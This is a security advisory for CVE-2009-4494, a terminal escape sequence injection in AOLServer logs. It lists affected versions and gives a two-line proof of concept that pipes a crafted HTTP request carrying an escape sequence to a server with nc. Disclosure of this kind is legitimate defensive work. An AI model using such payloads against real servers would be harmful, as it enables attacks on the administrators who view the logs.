AOLServer Terminal Escape Sequence in Logs Command Injection Vulnerability

BID:37712

Info

AOLServer Terminal Escape Sequence in Logs Command Injection Vulnerability

Bugtraq ID: 37712
Class: Input Validation Error
CVE: CVE-2009-4494
Remote: Yes
Local: No
Published: Jan 11 2010 12:00AM
Updated: Jan 11 2010 12:00AM
Credit: Giovanni 'evilaliv3' Pellerano, Alessandro 'jekil' Tanasi, and Francesco 'ascii' Ongaro
Vulnerable: AOL AOLserver 4.5.1
AOL AOLserver 4.0 .beta1
AOL AOLserver 3.4.2 Win32
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
AOL AOLserver 3.4.2
- Apple Mac OS X 10.0.3
- Caldera OpenLinux 2.4
- Caldera OpenLinux Server 3.1
- Caldera OpenLinux Workstation 3.1
- Caldera OpenUnix 8.0
- Caldera UnixWare 7.1.1
- Caldera UnixWare 7.1 .0
- Caldera UnixWare 7
- Debian Linux 2.2 sparc
- Debian Linux 2.2 powerpc
- Debian Linux 2.2 IA-32
- Debian Linux 2.2 arm
- Debian Linux 2.2 alpha
- Debian Linux 2.2 68k
- FreeBSD FreeBSD 4.3
- FreeBSD FreeBSD 4.2
- HP HP-UX 11.11
- HP HP-UX 11.0
- HP HP-UX 10.20
- Mandriva Linux Mandrake 8.1
- Mandriva Linux Mandrake 8.0
- Mandriva Linux Mandrake 7.2
- OpenBSD OpenBSD 2.9
- OpenBSD OpenBSD 2.8
- OpenBSD OpenBSD 2.7
- OpenBSD OpenBSD 2.6
- OpenBSD OpenBSD 3.0
- Redhat Linux 7.2 i386
- Redhat Linux 7.2 alpha
- Redhat Linux 7.1 i386
- Redhat Linux 7.1 alpha
- SCO eServer 2.3.1
- SGI IRIX 6.5.14
- SGI IRIX 6.5.13 m
- SGI IRIX 6.5.13 f
- SGI IRIX 6.5.13
- SGI IRIX 6.5.12 m
- SGI IRIX 6.5.12 f
- SGI IRIX 6.5.12
- SGI IRIX 6.5.11 m
- SGI IRIX 6.5.11 f
- SGI IRIX 6.5.11
- SGI IRIX 6.5.10 m
- SGI IRIX 6.5.10 f
- SGI IRIX 6.5.10
- Sun Solaris 2.5.1 _x86
- Sun Solaris 2.5.1
- Sun Solaris 8_x86
- Sun Solaris 8_sparc
- Sun Solaris 7.0_x86
- Sun Solaris 7.0
- Sun Solaris 2.6_x86
- Sun Solaris 2.6
- SuSE Linux 7.3 sparc
- SuSE Linux 7.3 ppc
- SuSE Linux 7.3 i386
- SuSE Linux 7.2 i386
- SuSE Linux 7.1 sparc
- SuSE Linux 7.1 ppc
- SuSE Linux 7.1 alpha
- SuSE Linux 7.0 sparc
- SuSE Linux 7.0 ppc
- SuSE Linux 7.0 i386
- SuSE Linux 7.0 alpha
AOL AOLserver 3.4 Win32
AOL AOLserver 3.4
AOL AOLserver 3.3.1
AOL AOLserver 3.3 Win32
AOL AOLserver 3.2 Win32
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
AOL AOLserver 3.2 UNIX
- HP HP-UX 11.0
- Linux kernel 2.2.14
- Redhat Linux 6.2
- SGI IRIX 6.4
- Sun Solaris 7.0
- Sun Solaris 2.6
AOL AOLserver 3.0
- Apple Mac OS X 10.0.4
- Apple Mac OS X 10.0.3
- Apple Mac OS X 10.0.2
- Apple Mac OS X 10.0.1
- Apple Mac OS X 10.0
- Apple Mac OS X Server 10.0
- Caldera OpenLinux Server 3.1
- Caldera OpenLinux Workstation 3.1
- Caldera UnixWare 7
- Debian Linux 2.2
- Digital OSF/1 4.0
- FreeBSD FreeBSD 3.3
- HP HP-UX 11.0
- HP HP-UX 10.20
Not Vulnerable:

Discussion

AOLServer Terminal Escape Sequence in Logs Command Injection Vulnerability

AOLServer is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

AOLServer 4.5.1 is vulnerable; other versions may also be affected.

Exploit / POC

AOLServer Terminal Escape Sequence in Logs Command Injection Vulnerability

Attackers can exploit this issue with readily available tools.

The following example is available:

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc www.example.com 80 < payload

Solution / Fix

AOLServer Terminal Escape Sequence in Logs Command Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

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AOLServer Terminal Escape Sequence in Logs Command Injection Vulnerability

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